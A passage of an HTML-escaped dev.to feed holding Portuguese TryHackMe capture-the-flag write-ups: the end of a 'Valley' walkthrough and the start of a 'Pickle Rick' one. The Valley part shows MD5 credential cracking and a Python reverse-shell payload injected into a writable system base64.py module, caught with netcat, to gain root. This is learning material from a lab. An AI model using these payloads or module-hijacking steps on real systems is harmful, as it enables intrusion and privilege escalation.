&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;Terminal&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="n"&gt;wget&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;porta&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;valleyAUthenticator&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0tfl06r5bkj188u9u463.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0tfl06r5bkj188u9u463.jpeg" alt="ptyon3 -m http.server" width="655" height="201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F184dhltwxc1pgfrd26ho.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F184dhltwxc1pgfrd26ho.png" alt="wget" width="800" height="162"&gt;&lt;/a&gt;&lt;br&gt;
Depois de baixar o arquivo diretamente para a máquina é necessário decodificá-lo primeiro usando a ferramenta upx e após isso ler com o comando strings.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;upx &lt;span class="nt"&gt;-d&lt;/span&gt; arquivo
strings arquivo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhijwnxyqdyashmy6wxa4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhijwnxyqdyashmy6wxa4.png" alt="upx -d" width="626" height="203"&gt;&lt;/a&gt;&lt;br&gt;
Após isso, se tem a busca de informações através do autenticador da valley, quanto a um usuário, algo codificado ou encriptado e que possa ser efetivado o encontro do valor original.  A informação necessária se encontra no início de uma autenticação que ficou registrada nesse arquivo, e usando um hash analyzer, pode ser obtida a informação de que é uma hash MD5. Por fim, apenas é realizada a descoberta do valor original das duas hashes, que são a senha e o usuário.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqp64ycd8mxmcftqhpnsv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqp64ycd8mxmcftqhpnsv.png" alt="hashes" width="381" height="86"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F27ucp7fa66piekfh214u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F27ucp7fa66piekfh214u.png" alt="hash analyzer" width="481" height="98"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbqcmirhzjofoeej34f5r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbqcmirhzjofoeej34f5r.png" alt="decode md5" width="800" height="254"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnj5gwykc48a8z010387j.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnj5gwykc48a8z010387j.png" alt="decode md5" width="800" height="265"&gt;&lt;/a&gt;&lt;br&gt;
Com sucesso foi obtido o usuário com permissões um pouco melhores do que a do valleyDev, o usuário &lt;strong&gt;valley&lt;/strong&gt; e mais uma &lt;strong&gt;elevação de privilégios&lt;/strong&gt;.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foj65g07taz3jxygy4fk4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foj65g07taz3jxygy4fk4.png" alt="ssh" width="800" height="541"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O objetivo maior agora é conseguir chegar até a raiz e acessar a última flag. Ao observar novamente o diretório do &lt;strong&gt;python3.8&lt;/strong&gt; em &lt;strong&gt;/usr/lib/python3.8&lt;/strong&gt;,  o arquivo &lt;strong&gt;base64.py&lt;/strong&gt; do usuário valleyAdmin se encontra mais acessível. Com o usuário valley, esse arquivo pode ser modificado e usado como ponte para realizar a última &lt;strong&gt;escalada de privilégios&lt;/strong&gt;.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv0llk0fiaied7v134xgf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv0llk0fiaied7v134xgf.png" alt="base64.py" width="506" height="206"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;O movimento a ser feito é fazer com que o módulo base64.py ao ser solicitado terá um &lt;a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python" rel="noopener noreferrer"&gt;payload de reverse shell&lt;/a&gt;, que ao ser executado na primeira fileira de código enviará uma conexão de entrada em uma porta específica e retornará no terminal essa conexão, com uma interface de linha de comando (terminal) e com isso a interação com o sistema operacional da aplicação web.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;nano&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;py&lt;/span&gt;

&lt;span class="c1"&gt;#!/usr/bin/python3  
&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;  
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;  
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;dup2&lt;/span&gt;  
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;run&lt;/span&gt;  

&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ip&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;  
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  
&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/bin/bash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-i&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

&lt;span class="o"&gt;------&lt;/span&gt; &lt;span class="n"&gt;restante&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="n"&gt;código&lt;/span&gt; &lt;span class="o"&gt;------&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F73zanj2nczqmpzhkmj0l.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F73zanj2nczqmpzhkmj0l.jpeg" alt="base64.py com payload reverse shell" width="800" height="589"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h4&gt;
  
  
  Final Escalation Privileges e Complete Mission
&lt;/h4&gt;

&lt;p&gt;A elevação de privilégios desse contexto se finaliza assim que o o netcat  escuta na porta 3000 e recebe a conexão de entrada feita a partir do arquivo base64.py.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-lvnp&lt;/span&gt; 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjpbowthykp15zbqm069u.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjpbowthykp15zbqm069u.jpeg" alt="root" width="595" height="418"&gt;&lt;/a&gt;&lt;br&gt;
o arquivo final se encontra no root.txt e ao utilizar o whoami, o mesmo confirma estar na raíz da aplicação. Portanto, a missão e objetivo final foi completado pelo invasor. Entretanto, parte da perspectiva da máquina valley, mas aqui poderia ser novamente mais um ciclo de ataques e busca por dados sensíveis, qualquer informação que seja pertinente. Este é o fim, por causa das flags, mas seria o fim de um ataque real? Como agir nesse contexto, em quais etapas seria interessante visualizar soluções e formas de conter esse ataque maior e mais severo? É claro que esse contexto é bem mais simples e não tão complexo quanto em um cenário real.&lt;/p&gt;




&lt;h3&gt;
  
  
  Considerações finais
&lt;/h3&gt;

&lt;p&gt;A máquina valley trouxe base para o entendimento do modelo &lt;strong&gt;attack lifecycle&lt;/strong&gt;, que caso seja de interesse do leitor, tem um pouco do livro &lt;strong&gt;A arte da guerra&lt;/strong&gt; de &lt;strong&gt;Sun Tzu&lt;/strong&gt;. A informação é um fator crucial e muito importante, assim como no campo de batalha, não seria diferente em um possível ataque cibernético, no princípio desde o reconhecimento inicial, construindo todas as informações que poderiam ser extraídas naquele contexto sobre o alvo, o comprometimento a partir de uma credencial exposta em uma rota e sendo o ponta pé inicial de invasão e o estabelecimento da conexão, onde será mantido o acesso àquele servidor. A elevação de privilégios, essa etapa voltou em diversos momentos para que culminasse no objetivo final, ou seja, o invasor não pensa em um só  ataque e pronto, não é algo unilateral, parte também da perspectiva de possibilidades que terá a seu favor. Então, as questões ali em conjunto com os privilégios, como o reconhecimento pós uma "melhora" no acesso, a movimentação lateral de tentar mais um usuário que dê a possibilidade de injetar um payload de reverse shell em um módulo python, a manutenção para firmar essa presença nessa aplicação e mais uma escalada desses privilégios até o encontro da ultima flag na raiz. &lt;br&gt;
Logo, assim como a água não ser constante, &lt;strong&gt;Heráclito&lt;/strong&gt; de &lt;strong&gt;Éfeso&lt;/strong&gt; diz que você não toma banho duas vezes no mesmo rio, porque esse mesmo rio já passou, se encontra no passado e você já não é o mesmo de ontem. É importante pensar nessa construção de probabilidades de um atacante, de construir e entender o contexto daquilo, porque partir dessa análise mais aberta contribui para uma forma mais clara e objetiva de estacar ou conter um ciberataque. O modelo é um norte, não sendo tudo ali elaborado exatamente daquele jeito, mas pode ser uma referência para guiar nesse processo.&lt;/p&gt;




&lt;h3&gt;
  
  
  Referências bibliográficas
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;TZU, Sun.&lt;/strong&gt; &lt;em&gt;A arte da guerra&lt;/em&gt;. Tradução de André da Silva Bueno. 2. ed. São Paulo: Editora UNESP, 2009.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MESSIER, Ric.&lt;/strong&gt; &lt;em&gt;Certified Ethical Hacker (CEH) v11: Study Guide&lt;/em&gt;. 2. ed. Sybex, 2021.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>javascript</category>
      <category>beginners</category>
      <category>discuss</category>
      <category>security</category>
    </item>
    <item>
      <title>Desafio Pickle Rick - TryHackMe</title>
      <dc:creator>Obtuosa</dc:creator>
      <pubDate>Fri, 30 Aug 2024 23:45:01 +0000</pubDate>
      <link>https://forem.com/obtuosa/desafio-pickle-rick-tryhackme-1b55</link>
      <guid>https://forem.com/obtuosa/desafio-pickle-rick-tryhackme-1b55</guid>
      <description>&lt;p&gt;Este texto tem como objetivo apresentar a forma como eu, Obtuosa, uma jovem &lt;strong&gt;iniciante&lt;/strong&gt; em cibersegurança,  resolvi o desafio com tema de Rick e Morty intitulado &lt;a href="https://tryhackme.com/r/room/picklerick" rel="noopener noreferrer"&gt;&lt;strong&gt;Pickle Rick&lt;/strong&gt;&lt;/a&gt;, da plataforma &lt;a href="https://tryhackme.com/" rel="noopener noreferrer"&gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, em um servidor da Web, no qual a finalidade é encontrar três ingredientes que possam ajudar o famoso personagem Rick, da série animada Rick e Morty, a produzir uma poção que o transforme novamente em humano, pois o mesmo se encontra transformado em um picles e sendo o conhecidíssimo Pickle Rick!&lt;/p&gt;




&lt;h2&gt;
  
  
  Introdução
&lt;/h2&gt;

&lt;p&gt;Antes de começarmos o processo quanto a máquina Pickle Rick, é importante ressaltar algumas informações, mesmo que breves sobre o que seria o &lt;strong&gt;TryHackMe&lt;/strong&gt; e as famosas &lt;strong&gt;máquinas de hacking&lt;/strong&gt; (Hacking Machines).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TryHackMe&lt;/strong&gt; é uma plataforma online, no qual o objetivo central é lhe ajudar a aprender sobre cibersegurança, usando exercícios práticos e "laboratórios", tudo isso pelo navegador.&lt;br&gt;
&lt;strong&gt;Máquinas de hacking&lt;/strong&gt; ou as famosas Hacking machines são os ambientes virtuais utilizados pelos usuários, para aprimorar suas habilidades em hacking e entendimento na área de cibersegurança. Nelas é possível participar de cenários de ataques e também vulnerabilidades, em que os usuários possam usar de seu conhecimento e técnicas de exploração, de maneira principalmente legal e segura. Logo, o desafio Pickle Rick é justamente uma máquina de hacking, com foco em buscar vulnerabilidades até seu propósito final.&lt;/p&gt;


&lt;h2&gt;
  
  
  Reconhecimento
&lt;/h2&gt;

&lt;p&gt;Após essas breves informações definidas, será feita a trajetória que salvou Rick!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ed4ebsbq4krhafhubdd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0ed4ebsbq4krhafhubdd.png" alt="Tela de início da Máquina virtual Pickle Rick do TryHackMe" width="800" height="244"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fesh4nrj49414wemu42pm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fesh4nrj49414wemu42pm.png" alt="Tela inicial do alvo, com uma mensagem de pedido de ajuda do Rick para o Morty" width="800" height="575"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ao adentrar a tela de desafio, uma das ações que foram realizadas foi justamente a  inspeção no código e verificar a forma com que o HTML do alvo estava estruturado e logo de cara tivemos o acesso a informação sobre o username do Rick, no final do código, em formato de comentário.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj5pib6bn3pf08fw3ptqr.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj5pib6bn3pf08fw3ptqr.jpeg" alt="Informações sobre a estrutura html do alvo" width="800" height="574"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Com isso, foi traçado os principais objetivos nesse primeiro momento, tendo em vista que o username na inspeção do html significaria que teríamos uma tela de login e a necessidade de uma senha para efetivar por completo esse acesso ao alvo. Entretanto, ao tentar encontrar a tela de login em um primeiro momento, não foi realizado com tanta facilidade e um dos principais focos foi justamente buscar essa tela de login e principalmente, entender qual a linguagem de programação que estaria realizando as funcionalidades deste site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7lqi242r2ai4gjur5vds.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7lqi242r2ai4gjur5vds.png" alt="Imagem de não encontrado ao acessar /login" width="800" height="572"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Deste modo, decorreu a busca de informações sobre qual seria  essa linguagem por trás dos panos e uma das ideias foi justamente a utilização do comando &lt;a href="https://www.hostinger.com.br/tutoriais/comando-curl-linux" rel="noopener noreferrer"&gt;curl&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ubuskis9op3c0prwp0i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ubuskis9op3c0prwp0i.png" alt="Requisição usando comando curl" width="353" height="193"&gt;&lt;/a&gt;&lt;br&gt;
O alvo utiliza Ubuntu para rodar o servidor Web Apache. Porém,  não foi possível obter uma informação mais precisa sobre qual seria a linguagem utilizada pelo alvo através do curl. Deste modo, o head do próprio html do site possuía o diretório &lt;a href="https://developers.vnda.com.br/docs/pasta-assets" rel="noopener noreferrer"&gt;/assets/&lt;/a&gt;, que tem como foco o armazenamento de mídia, fontes, etc., de um site ou aplicação web.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2yhji2g80651f0rxsdme.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2yhji2g80651f0rxsdme.png" alt="Informação do head contendo a pasta /assets" width="467" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F558etoiezqvnzizs2qx2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F558etoiezqvnzizs2qx2.png" alt="Pasta /assets com informações de conteúdos estáticos, etc, do alvo " width="800" height="571"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Apesar das informações presentes, não foi possível encontrar (sob o olhar de uma pessoa que está iniciando) informações referentes a linguagem usada. &lt;br&gt;
A forma operada logicamente foi justamente introduzir .php no final e com isso o acesso a tela de /login.php. Isso foi puramente achismo, tendo em vista que utilizar uma ferramenta de busca de diretórios tornaria o processo mais prático, porém, o objetivo aqui é tentar realizar manualmente e aprimorar as noções no decorrer, sem depender de ferramentas para isso.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdbfmkcsrdnb1tr37zne.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkdbfmkcsrdnb1tr37zne.png" alt="Tela de login com username e password" width="800" height="575"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Com  a confirmação de que usam &lt;a href="https://www.php.net/manual/pt_BR/intro-whatis.php" rel="noopener noreferrer"&gt;PHP&lt;/a&gt; e para além disso, o acesso ao diretório /login.php. Entretanto, faltava a senha e se tem o diretório /assets, poderia também ter o &lt;a href="https://developers.google.com/search/docs/crawling-indexing/robots/intro?hl=pt-br" rel="noopener noreferrer"&gt;/robots.txt&lt;/a&gt;, que gerencia quais diretórios podem ser vasculhados em um respectivo site. A senha do R1ckRul3s estava justamente no /robots.txt.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxc12hisefglgh9ekfp6n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxc12hisefglgh9ekfp6n.png" alt="Diretório /robots.txt contendo a senha do usuário" width="800" height="571"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Exploração
&lt;/h2&gt;

&lt;p&gt;A tela inicial após o login tem um painel de comandos, e a informação anterior de que o servidor rodava em Ubuntu trouxe a conclusão de que podemos usar os próprios comandos do terminal e além disso, ter acesso aos diretórios completos do alvo. No inspecionar desta tela, tem uma dica interessante, uma frase codificada em &lt;a href="https://marquesfernandes.com/self/o-que-e-base64-para-que-serve-e-como-funciona/" rel="noopener noreferrer"&gt;Base64&lt;/a&gt;, no comentário do html.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80xr7xj2sj1g5ob8w56z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F80xr7xj2sj1g5ob8w56z.png" alt="Tela inicial com painel de comandos" width="800" height="434"&gt;&lt;/a&gt;&lt;/p&gt;

